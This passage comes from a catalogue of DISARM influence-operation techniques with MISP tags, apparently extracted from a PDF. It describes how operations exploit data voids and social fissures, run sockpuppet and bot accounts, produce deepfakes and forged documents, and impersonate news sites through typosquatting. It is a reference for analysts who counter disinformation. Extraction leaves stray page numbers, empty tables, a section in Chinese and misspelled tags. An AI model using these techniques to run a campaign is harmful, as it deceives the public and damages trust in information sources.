An influence operation may survey a target audience’s Internet availability and degree of media freedom to determine which target audience members will have access to operation content and on which platforms. An operation may face more difficulty targeting an information environment with heavy restrictions and media control than an environment with independent media, freedom of speech and of the press, and individual liberties.

The tag is: misp-galaxy:disarm-techniques="Assess Degree/Type of Media Access"

Identify Social and Technical Vulnerabilities

Identifying social and technical vulnerabilities determines weaknesses within the target audience information environment for later exploitation. Vulnerabilities include decisive political issues, weak cybersecurity infrastructure, search engine data voids, and other technical and non-technical weaknesses in the target information environment. Identifying social and technical vulnerabilities facilitates the later exploitation of the identified weaknesses to advance operation objectives.

The tag is: misp-galaxy:disarm-techniques="Identify Social and Technical Vulnerabilities"

Find Echo Chambers

Find or plan to create areas (social media groups, search term groups, hashtag groups etc) where individuals only engage with people they agree with.

The tag is: misp-galaxy:disarm-techniques="Find Echo Chambers"
Identify Data Voids

A data void refers to a word or phrase that results in little, manipulative, or low-quality search engine data. Data voids are hard to detect and relatively harmless until exploited by an entity aiming to quickly proliferate false or misleading information during a phenomenon that causes a high number of individuals to query the term or phrase. In the Plan phase, an influence operation may identify data voids for later exploitation in the operation. A 2019 report by Michael Golebiewski identifies five types of data voids. (1) “Breaking news” data voids occur when a keyword gains popularity during a short period of time, allowing an influence operation to publish false content before legitimate news outlets have an opportunity to publish relevant information. (2) An influence operation may create a “strategic new terms” data void by creating their own terms and publishing information online before promoting their keyword to the target audience. (3) An influence operation may publish content on “outdated terms” that have decreased in popularity, capitalising on most search engines’ preferences for recency. (4) “Fragmented concepts” data voids separate connections between similar ideas, isolating segment queries to distinct search engine results. (5) An influence operation may use “problematic queries” that previously resulted in disturbing or inappropriate content to promote messaging until mainstream media recontextualizes the term.

The tag is: misp-galaxy:disarm-techniques="Identify Data Voids"

Table 1338. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Existing Prejudices

An influence operation may exploit existing racial, religious, demographic, or social prejudices to further polarise its target audience from the rest of the public.

The tag is: misp-galaxy:disarm-techniques="Identify Existing Prejudices"

Table 1339. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Existing Fissures

An influence operation may identify existing fissures to pit target populations against one another or facilitate a “divide-and-conquer” approach to tailor operation narratives along the divides.

The tag is: misp-galaxy:disarm-techniques="Identify Existing Fissures"

Table 1340. Table References
Identify Existing Conspiracy Narratives/Suspicions

An influence operation may assess preexisting conspiracy theories or suspicions in a population to identify existing narratives that support operational objectives.

The tag is: *misp-galaxy:disarm-techniques*="Identify Existing Conspiracy Narratives/Suspicions"

**Table 1341. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Wedge Issues

A wedge issue is a divisive political issue, usually concerning a social phenomenon, that divides individuals along a defined line. An influence operation may exploit wedge issues by intentionally polarising the public along the wedge issue line and encouraging opposition between factions.

The tag is: *misp-galaxy:disarm-techniques*="Identify Wedge Issues"

**Table 1342. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Target Audience Adversaries

An influence operation may identify or create a real or imaginary adversary to centre operation narratives against. A real adversary may include certain politicians or political parties while imaginary adversaries may include falsified “deep state”62 actors that, according to conspiracies, run the state behind public view.

The tag is: *misp-galaxy:disarm-techniques*="Identify Target Audience Adversaries"

**Table 1343. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Identify Media System Vulnerabilities

An influence operation may exploit existing weaknesses in a target's media system. These weaknesses may include existing biases among media agencies, vulnerability to false news agencies on social media, or existing distrust of traditional media sources. An existing distrust among the public in the media system's credibility holds high potential for exploitation by an influence operation when establishing alternative news agencies to spread operation content.

The tag is: misp-galaxy:disarm-techniques="Identify Media System Vulnerabilities"

Table 1344. Table References

Links


Develop New Narratives

Actors may develop new narratives to further strategic or tactical goals, especially when existing narratives adequately align with the campaign goals. New narratives provide more control in terms of crafting the message to achieve specific goals. However, new narratives may require more effort to disseminate than adapting or adopting existing narratives.

The tag is: misp-galaxy:disarm-techniques="Develop New Narratives"

Table 1345. Table References

Links


Integrate Target Audience Vulnerabilities into Narrative

An influence operation may seek to exploit the preexisting weaknesses, fears, and enemies of the target audience for integration into the operation's narratives and overall strategy. Integrating existing vulnerabilities into the operational approach conserves resources by exploiting already weak areas of the target information environment instead of forcing the operation to create new vulnerabilities in the environment.

The tag is: misp-galaxy:disarm-techniques="Integrate Target Audience Vulnerabilities into Narrative"

Table 1346. Table References

Links

Reuse Existing Content

When an operation recycles content from its own previous operations or plagiarises from external operations. An operation may launder information to conserve resources that would have otherwise been utilised to develop new content.

The tag is: *misp-galaxy:disarm-techniques*="Reuse Existing Content"

Table 1347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Use Copypasta

Copypasta refers to a piece of text that has been copied and pasted multiple times across various online platforms. A copypasta's final form may differ from its original source text as users add, delete, or otherwise edit the content as they repost the text.

The tag is: *misp-galaxy:disarm-techniques*="Use Copypasta"

Table 1348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Plagiarise Content

An influence operation may take content from other sources without proper attribution. This content may be either misinformation content shared by others without malicious intent but now leveraged by the campaign as disinformation or disinformation content from other sources.

The tag is: *misp-galaxy:disarm-techniques*="Plagiarise Content"

Table 1349. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Deceptively Labelled or Translated

An influence operation may take authentic content from other sources and add deceptive labels or deceptively translate the content into other languages.

The tag is: *misp-galaxy:disarm-techniques*="Deceptively Labelled or Translated"
Appropriate Content

An influence operation may take content from other sources with proper attribution. This content may be either misinformation content shared by others without malicious intent but now leveraged by the campaign as disinformation or disinformation content from other sources. Examples include the appropriation of content from one inauthentic news site to another inauthentic news site or network in ways that align with the originators licencing or terms of service.

The tag is: `misp-galaxy:disarm-techniques="Appropriate Content"`

Develop Text-Based Content

Creating and editing false or misleading text-based artefacts, often aligned with one or more specific narratives, for use in a disinformation campaign.

The tag is: `misp-galaxy:disarm-techniques="Develop Text-Based Content"`

Develop AI-Generated Text

AI-generated texts refers to synthetic text composed by computers using text-generating AI technology. Autonomous generation refers to content created by a bot without human input, also known as bot-created content generation. Autonomous generation represents the next step in automation after language generation and may lead to automated journalism. An influence operation may use read fakes or autonomous generation to quickly develop and distribute content to the target audience.

The tag is: `misp-galaxy:disarm-techniques="Develop AI-Generated Text"`
Develop False or Altered Documents

Develop False or Altered Documents

The tag is: \textit{misp-galaxy:disarm-techniques="Develop False or Altered Documents"}

Table 1354. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Develop Inauthentic News Articles

An influence operation may develop false or misleading news articles aligned to their campaign goals or narratives.

The tag is: \textit{misp-galaxy:disarm-techniques="Develop Inauthentic News Articles"}

Table 1355. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Develop Image-Based Content

Creating and editing false or misleading visual artefacts, often aligned with one or more specific narratives, for use in a disinformation campaign. This may include photographing staged real-life situations, repurposing existing digital images, or using image creation and editing technologies.

The tag is: \textit{misp-galaxy:disarm-techniques="Develop Image-Based Content"}

Table 1356. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Develop Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and
narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: misp-galaxy:disarm-techniques="Develop Memes"

Table 1357. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Develop AI-Generated Images (Deepfakes)**

Deepfakes refer to AI-generated falsified photos, videos, or soundbites. An influence operation may use deepfakes to depict an inauthentic situation by synthetically recreating an individual’s face, body, voice, and physical gestures.

The tag is: misp-galaxy:disarm-techniques="Develop AI-Generated Images (Deepfakes)"

Table 1358. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Deceptively Edit Images (Cheap Fakes)**

Cheap fakes utilise less sophisticated measures of altering an image, video, or audio for example, slowing, speeding, or cutting footage to create a false context surrounding an image or event.

The tag is: misp-galaxy:disarm-techniques="Deceptively Edit Images (Cheap Fakes)"

Table 1359. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Aggregate Information into Evidence Collages**

Image files that aggregate positive evidence (Joan Donovan)

The tag is: misp-galaxy:disarm-techniques="Aggregate Information into Evidence Collages"

Table 1360. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
开发基于视频的内容

创建和编辑虚假或误导性视频文物，往往与一个或多个特定叙事相关，用于进行虚假信息战役。这可能包括制作看似真实情况的视频，重新利用现有视频文物，或使用AI生成的视频创作和编辑技术（包括深度伪造）。

标签是：misp-galaxy:disarm-techniques="Develop Video-Based Content"

表1361. 表格参考

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

开发AI生成的视频（深度伪造）

深度伪造是指AI生成的伪造照片、视频或音频片段。影响操作可能利用深度伪造来描绘不真实的情况，通过合成地重现一个人的脸部、身体、声音和物理姿态。

标签是：misp-galaxy:disarm-techniques="Develop AI-Generated Videos (Deepfakes)"

表1362. 表格参考

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

欺骗性编辑视频（廉价骗局）

廉价骗局利用较不复杂的手段篡改图像、视频或音频，例如，放慢、加速或剪辑片段以创建一个错误的背景环绕一张图像或事件。

标签是：misp-galaxy:disarm-techniques="Deceptively Edit Video (Cheap Fakes)"

表1363. 表格参考

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

开发基于音频的内容

创建和编辑虚假或误导性音频文物，往往与一个或多个特定叙事相关，用于进行虚假信息战役。这可能包括创建全新的音频内容，重新利用现有音频文物（包括廉价骗局），或使用AI生成的音频创作和编辑技术（包括深度伪造）。

494
Develop AI-Generated Audio (Deepfakes)

Deepfakes refer to AI-generated falsified photos, videos, or soundbites. An influence operation may use deepfakes to depict an inauthentic situation by synthetically recreating an individual's face, body, voice, and physical gestures.

Deceptively Edit Audio (Cheap Fakes)

Cheap fakes utilise less sophisticated measures of altering an image, video, or audio for example, slowing, speeding, or cutting footage to create a false context surrounding an image or event.

Obtain Private Documents

Procuring documents that are not publicly available, by whatever means — whether legal or illegal, highly-resourced or less so. These documents can include authentic non-public documents, authentic non-public documents have been altered, or inauthentic documents intended to appear as if they are authentic non-public documents. All of these types of documents can be "leaked" during later stages in the operation.
Obtain Authentic Documents

Procure authentic documents that are not publicly available, by whatever means — whether legal or illegal, highly-resourced or less so. These documents can be "leaked" during later stages in the operation.

The tag is: `misp-galaxy:disarm-techniques="Obtain Authentic Documents"`

Table 1368. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create Inauthentic Documents

Create inauthentic documents intended to appear as if they are authentic non-public documents. These documents can be "leaked" during later stages in the operation.

The tag is: `misp-galaxy:disarm-techniques="Create Inauthentic Documents"`

Table 1369. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Alter Authentic Documents

Alter authentic documents (public or non-public) to achieve campaign goals. The altered documents are intended to appear as if they are authentic can be "leaked" during later stages in the operation.

The tag is: `misp-galaxy:disarm-techniques="Alter Authentic Documents"`

Table 1370. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create Inauthentic Accounts

Inauthentic accounts include bot accounts, cyborg accounts, sockpuppet accounts, and anonymous accounts.
Create Anonymous Accounts

Anonymous accounts or anonymous users refer to users that access network resources without providing a username or password. An influence operation may use anonymous accounts to spread content without direct attribution to the operation.

Create Cyborg Accounts

Cyborg accounts refer to partly manned, partly automated social media accounts. Cyborg accounts primarily act as bots, but a human operator periodically takes control of the account to engage with real social media users by responding to comments and posting original content. Influence operations may use cyborg accounts to reduce the amount of direct human input required to maintain a regular account but increase the apparent legitimacy of the cyborg account by occasionally breaking its bot-like behaviour with human interaction.

Create Bot Accounts

Bots refer to autonomous internet users that interact with systems or other users while imitating traditional human behaviour. Bots use a variety of tools to stay active without direct human operation, including artificial intelligence and big data analytics. For example, an individual may programme a Twitter bot to retweet a tweet every time it contains a certain keyword or hashtag. An influence operation may use bots to increase its exposure and artificially promote its content across the internet without dedicating additional time or human resources. Amplifier bots promote operation content through reposts, shares, and likes to increase the content’s online popularity.
Hacker bots are traditionally covert bots running on computer scripts that rarely engage with users and work primarily as agents of larger cyberattacks, such as a Distributed Denial of Service attacks. Spammer bots are programmed to post content on social media or in comment sections, usually as a supplementary tool. Impersonator bots pose as real people by mimicking human behaviour, complicating their detection.

The tag is: misp-galaxy:disarm-techniques="Create Bot Accounts"

Table 1374. Table References

Links


Create Sockpuppet Accounts

Sockpuppet accounts refer to falsified accounts that either promote the influence operation’s own material or attack critics of the material online. Individuals who control sockpuppet accounts also man at least one other user account. Sockpuppet accounts help legitimise operation narratives by providing an appearance of external support for the material and discrediting opponents of the operation.

The tag is: misp-galaxy:disarm-techniques="Create Sockpuppet Accounts"

Table 1375. Table References

Links


Recruit Malign Actors

Operators recruit bad actors paying recruiting, or exerting control over individuals includes trolls, partisans, and contractors.

The tag is: misp-galaxy:disarm-techniques="Recruit Malign Actors"

Table 1376. Table References

Links


Recruit Contractors

Operators recruit paid contractor to support the campaign.

The tag is: misp-galaxy:disarm-techniques="Recruit Contractors"
Recruit Partisans

Operators recruit partisans (ideologically-aligned individuals) to support the campaign.

The tag is: *misp-galaxy:disarm-techniques*="Recruit Partisans"

Enlist Troll Accounts

An influence operation may hire trolls, or human operators of fake accounts that aim to provoke others by posting and amplifying content about controversial issues. Trolls can serve to discredit an influence operation's opposition or bring attention to the operation's cause through debate. Classic trolls refer to regular people who troll for personal reasons, such as attention-seeking or boredom. Classic trolls may advance operation narratives by coincidence but are not directly affiliated with any larger operation. Conversely, hybrid trolls act on behalf of another institution, such as a state or financial organisation, and post content with a specific ideological goal. Hybrid trolls may be highly advanced and institutionalised or less organised and work for a single individual.

The tag is: *misp-galaxy:disarm-techniques*="Enlist Troll Accounts"

Build Network

Operators build their own network, creating links between accounts—whether authentic or inauthentic—in order amplify and promote narratives and artefacts, and encourage further growth of their network, as well as the ongoing sharing and engagement with operational content.

The tag is: *misp-galaxy:disarm-techniques*="Build Network"
Create Organisations

Influence operations may establish organisations with legitimate or falsified hierarchies, staff, and content to structure operation assets, provide a sense of legitimacy to the operation, or provide institutional backing to operation activities.

The tag is: misp-galaxy:disarm-techniques="Create Organisations"

Table 1381. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Use Follow Trains

A follow train is a group of people who follow each other on a social media platform, often as a way for an individual or campaign to grow its social media following. Follow trains may be a violation of platform Terms of Service. They are also known as follow-for-follow groups.

The tag is: misp-galaxy:disarm-techniques="Use Follow Trains"

Table 1382. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create Community or Sub-Group

When there is not an existing community or sub-group that meets a campaign’s goals, an influence operation may seek to create a community or sub-group.

The tag is: misp-galaxy:disarm-techniques="Create Community or Sub-Group"

Table 1383. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Acquire/Recruit Network

Operators acquire an existing network by paying, recruiting, or exerting control over the leaders of the existing network.
Fund Proxies

An influence operation may fund proxies, or external entities that work for the operation. An operation may recruit/train users with existing sympathies towards the operation’s narratives and/or goals as proxies. Funding proxies serves various purposes including: - Diversifying operation locations to complicate attribution - Reducing the workload for direct operation assets

Acquire Botnets

A botnet is a group of bots that can function in coordination with each other.

Infiltrate Existing Networks

Operators deceptively insert social assets into existing networks as group members in order to influence the members of the network and the wider information environment that the network impacts.
Identify Susceptible Targets in Networks

When seeking to infiltrate an existing network, an influence operation may identify individuals and groups that might be susceptible to being co-opted or influenced.

The tag is: *misp-galaxy:disarm-techniques*="Identify Susceptible Targets in Networks"

Table 1388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Utilise Butterfly Attacks

Butterfly attacks occur when operators pretend to be members of a certain social group, usually a group that struggles for representation. An influence operation may mimic a group to insert controversial statements into the discourse, encourage the spread of operation content, or promote harassment among group members. Unlike astroturfing, butterfly attacks aim to infiltrate and discredit existing grassroots movements, organisations, and media campaigns.

The tag is: *misp-galaxy:disarm-techniques*="Utilise Butterfly Attacks"

Table 1389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Develop Owned Media Assets

An owned media asset refers to an agency or organisation through which an influence operation may create, develop, and host content and narratives. Owned media assets include websites, blogs, social media pages, forums, and other platforms that facilitate the creation and organisation of content.

The tag is: *misp-galaxy:disarm-techniques*="Develop Owned Media Assets"

Table 1390. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Leverage Content Farms

Using the services of large-scale content providers for creating and amplifying campaign artefacts at scale.
Create Content Farms

An influence operation may create an organisation for creating and amplifying campaign artefacts at scale.

Outsource Content Creation to External Organisations

An influence operation may outsource content creation to external companies to avoid attribution, increase the rate of content creation, or improve content quality, i.e., by employing an organisation that can create content in the target audience’s native language. Employed organisations may include marketing companies for tailored advertisements or external content farms for high volumes of targeted media.

Create Personas

Creating fake people, often with accounts across multiple platforms. These personas can be as simple as a name, can contain slightly more background like location, profile pictures, backstory, or can be effectively backstipped with indicators like fake identity documents.
### Backstop Personas

Create other assets/dossier/cover/fake relationships and/or connections or documents, sites, bylines, attributions, to establish/augment/inflate credibility/believability

The tag is: `misp-galaxy:disarm-techniques="Backstop Personas"`

#### Table 1395. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Establish Inauthentic News Sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their ownership, reporting history and advertising details.

The tag is: `misp-galaxy:disarm-techniques="Establish Inauthentic News Sites"`

#### Table 1396. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Create Inauthentic News Sites

Create Inauthentic News Sites

The tag is: `misp-galaxy:disarm-techniques="Create Inauthentic News Sites"`

#### Table 1397. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Leverage Existing Inauthentic News Sites

Leverage Existing Inauthentic News Sites
Prepare Assets Impersonating Legitimate Entities

An influence operation may prepare assets impersonating legitimate entities to further conceal its network identity and add a layer of legitimacy to its operation content. Users will more likely believe and less likely fact-check news from recognisable sources rather than unknown sites. Legitimate entities may include authentic news outlets, public figures, organisations, or state entities. An influence operation may use a wide variety of cyber techniques to impersonate a legitimate entity's website or social media account. Typosquatting is the international registration of a domain name with purposeful variations of the impersonated domain name through intentional typos, top-level domain (TLD) manipulation, or punycode. Typosquatting facilitates the creation of falsified websites by creating similar domain names in the URL box, leaving it to the user to confirm that the URL is correct.

Astroturfing

Astroturfing occurs when an influence operation disguises itself as grassroots movement or organisation that supports operation narratives. Unlike butterfly attacks, astroturfing aims to increase the appearance of popular support for the operation cause and does not infiltrate existing groups to discredit their objectives.

Spoof/Parody Account/Site

An influence operation may prepare assets impersonating legitimate entities to further conceal its network identity and add a layer of legitimacy to its operation content. Users will more likely
believe and less likely fact-check news from recognisable sources rather than unknown sites. Legitimate entities may include authentic news outlets, public figures, organisations, or state entities.

The tag is: mipsgalaxy:disarm-techniques="Spoof/Parody Account/Site"

Table 1401. Table References

Links


Co-Opt Trusted Sources

An influence operation may co-opt trusted sources by infiltrating or repurposing a source to reach a target audience through existing, previously reliable networks. Co-opted trusted sources may include: - National or local new outlets - Research or academic publications - Online blogs or websites

The tag is: mipsgalaxy:disarm-techniques="Co-Opt Trusted Sources"

Table 1402. Table References

Links


Co-Opt Trusted Individuals

Co-Opt Trusted Individuals

The tag is: mipsgalaxy:disarm-techniques="Co-Opt Trusted Individuals"

Table 1403. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0100.001.md

Co-Opt Grassroots Groups

Co-Opt Grassroots Groups

The tag is: mipsgalaxy:disarm-techniques="Co-Opt Grassroots Groups"

Table 1404. Table References

Links
Co-Opt Influencers

Co-opt Influencers

The tag is: `misp-galaxy:disarm-techniques="Co-Opt Influencers"`

Table 1405. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0100.003.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0100.003.md</a></td>
</tr>
</tbody>
</table>

Create Localised Content

Localised content refers to content that appeals to a specific community of individuals, often in defined geographic areas. An operation may create localised content using local language and dialects to resonate with its target audience and blend in with other local news and social media. Localised content may help an operation increase legitimacy, avoid detection, and complicate external attribution.

The tag is: `misp-galaxy:disarm-techniques="Create Localised Content"`

Table 1406. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Leverage Echo Chambers/Filter Bubbles

An echo chamber refers to an internet subgroup, often along ideological lines, where individuals only engage with “others with which they are already in agreement.” A filter bubble refers to an algorithm's placement of an individual in content that they agree with or regularly engage with, possibly entrapping the user into a bubble of their own making. An operation may create these isolated areas of the internet by match existing groups, or aggregating individuals into a single target audience based on shared interests, politics, values, demographics, and other characteristics. Echo chambers and filter bubbles help to reinforce similar biases and content to the same target audience members.

The tag is: `misp-galaxy:disarm-techniques="Leverage Echo Chambers/Filter Bubbles"`

Table 1407. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Use Existing Echo Chambers/Filter Bubbles

Use existing Echo Chambers/Filter Bubbles

The tag is: `misp-galaxy:disarm-techniques="Use Existing Echo Chambers/Filter Bubbles"`

Table 1408. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create Echo Chambers/Filter Bubbles

Create Echo Chambers/Filter Bubbles

The tag is: `misp-galaxy:disarm-techniques="Create Echo Chambers/Filter Bubbles"`

Table 1409. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Exploit Data Voids

A data void refers to a word or phrase that results in little, manipulative, or low-quality search engine data. Data voids are hard to detect and relatively harmless until exploited by an entity aiming to quickly proliferate false or misleading information during a phenomenon that causes a high number of individuals to query the term or phrase. In the Plan phase, an influence operation may identify data voids for later exploitation in the operation. A 2019 report by Michael Golebiewski identifies five types of data voids. (1) “Breaking news” data voids occur when a keyword gains popularity during a short period of time, allowing an influence operation to publish false content before legitimate news outlets have an opportunity to publish relevant information. (2) An influence operation may create a “strategic new terms” data void by creating their own terms and publishing information online before promoting their keyword to the target audience. (3) An influence operation may publish content on “outdated terms” that have decreased in popularity, capitalising on most search engines’ preferences for recency. (4) “Fragmented concepts” data voids separate connections between similar ideas, isolating segment queries to distinct search engine results. (5) An influence operation may use “problematic queries” that previously resulted in disturbing or inappropriate content to promote messaging until mainstream media recontextualizes the term.

The tag is: `misp-galaxy:disarm-techniques="Exploit Data Voids"`
Livestream

A livestream refers to an online broadcast capability that allows for real-time communication to closed or open networks.

The tag is: `misp-galaxy:disarm-techniques="Livestream"`

Video Livestream

A video livestream refers to an online video broadcast capability that allows for real-time communication to closed or open networks.

The tag is: `misp-galaxy:disarm-techniques="Video Livestream"`

Audio Livestream

An audio livestream refers to an online audio broadcast capability that allows for real-time communication to closed or open networks.

The tag is: `misp-galaxy:disarm-techniques="Audio Livestream"`

Social Networks

Social media are interactive digital channels that facilitate the creation and sharing of information,
ideas, interests, and other forms of expression through virtual communities and networks.

The tag is: misp-galaxy:disarm-techniques="Social Networks"

**Table 1414. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Mainstream Social Networks**

Examples include Facebook, Twitter, LinkedIn, etc.

The tag is: misp-galaxy:disarm-techniques="Mainstream Social Networks"

**Table 1415. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Dating Apps**

The tag is: misp-galaxy:disarm-techniques="Dating Apps"

**Table 1416. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Private/Closed Social Networks**

Social networks that are not open to people outside of family, friends, neighbours, or co-workers. Non-work-related examples include Couple, FamilyWall, 23snaps, and Nextdoor. Some of the larger social network platforms enable closed communities: examples are Instagram Close Friends and Twitter (X) Circle. Work-related examples of private social networks include LinkedIn, Facebook Workplace, and enterprise communication platforms such as Slack or Microsoft Teams.

The tag is: misp-galaxy:disarm-techniques="Private/Closed Social Networks"

**Table 1417. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
**Interest-Based Networks**

Examples include smaller and niche networks including Gettr, Truth Social, Parler, etc.

The tag is: `misp-galaxy:disarm-techniques="Interest-Based Networks"`

**Use Hashtags**

Use a dedicated, existing hashtag for the campaign/incident.

The tag is: `misp-galaxy:disarm-techniques="Use Hashtags"`

**Create Dedicated Hashtag**

Create a campaign/incident specific hashtag.

The tag is: `misp-galaxy:disarm-techniques="Create Dedicated Hashtag"`

**Media Sharing Networks**

Media sharing networks refer to services whose primary function is the hosting and sharing of specific forms of media. Examples include Instagram, Snapchat, TikTok, Youtube, SoundCloud.

The tag is: `misp-galaxy:disarm-techniques="Media Sharing Networks"`
Photo Sharing

Examples include Instagram, Snapchat, Flickr, etc

The tag is: misp-galaxy:disarm-techniques="Photo Sharing"

Table 1422. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Video Sharing

Examples include Youtube, TikTok, ShareChat, Rumble, etc

The tag is: misp-galaxy:disarm-techniques="Video Sharing"

Table 1423. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Audio Sharing

Examples include podcasting apps, Soundcloud, etc.

The tag is: misp-galaxy:disarm-techniques="Audio Sharing"

Table 1424. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Discussion Forums

Platforms for finding, discussing, and sharing information and opinions. Examples include Reddit, Quora, Digg, message boards, interest-based discussion forums, etc.

The tag is: misp-galaxy:disarm-techniques="Discussion Forums"

Table 1425. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

512
Anonymous Message Boards

Examples include the Chans

The tag is: misp-galaxy:disarm-techniques="Anonymous Message Boards"

Table 1426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0106.001.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0106.001.md</a></td>
</tr>
</tbody>
</table>

Bookmarking and Content Curation

Platforms for searching, sharing, and curating content and media. Examples include Pinterest, Flipboard, etc.

The tag is: misp-galaxy:disarm-techniques="Bookmarking and Content Curation"

Table 1427. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Blogging and Publishing Networks

Examples include WordPress, Blogger, Weebly, Tumblr, Medium, etc.

The tag is: misp-galaxy:disarm-techniques="Blogging and Publishing Networks"

Table 1428. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Consumer Review Networks

Platforms for finding, reviewing, and sharing information about brands, products, services, restaurants, travel destinations, etc. Examples include Yelp, TripAdvisor, etc.

The tag is: misp-galaxy:disarm-techniques="Consumer Review Networks"

Table 1429. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Formal Diplomatic Channels

Leveraging formal, traditional, diplomatic channels to communicate with foreign governments (written documents, meetings, summits, diplomatic visits, etc). This type of diplomacy is conducted by diplomats of one nation with diplomats and other officials of another nation or international organisation.

The tag is: misp-galaxy:disarm-techniques="Formal Diplomatic Channels"

Table 1430. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Traditional Media

Examples include TV, Newspaper, Radio, etc.

The tag is: misp-galaxy:disarm-techniques="Traditional Media"

Table 1431. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

TV

TV

The tag is: misp-galaxy:disarm-techniques="TV"

Table 1432. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Newspaper

Newspaper

The tag is: misp-galaxy:disarm-techniques="Newspaper"
Radio

Radio

The tag is: misp-galaxy:disarm-techniques="Radio"

Email

Delivering content and narratives via email. This can include using list management or high-value individually targeted messaging.

The tag is: misp-galaxy:disarm-techniques="Email"

Employ Commercial Analytic Firms

Commercial analytic firms collect data on target audience activities and evaluate the data to detect trends, such as content receiving high click-rates. An influence operation may employ commercial analytic firms to facilitate external collection on its target audience, complicating attribution efforts and better tailoring the content to audience preferences.

The tag is: misp-galaxy:disarm-techniques="Employ Commercial Analytic Firms"
**Deliver Ads**

Delivering content via any form of paid media or advertising.

The tag is: `misp-galaxy:disarm-techniques="Deliver Ads"`

*Table 1437. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Social Media**

Social Media

The tag is: `misp-galaxy:disarm-techniques="Social Media"`

*Table 1438. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Post Content**

Delivering content by posting via owned media (assets that the operator controls).

The tag is: `misp-galaxy:disarm-techniques="Post Content"`

*Table 1439. Table References*

<table>
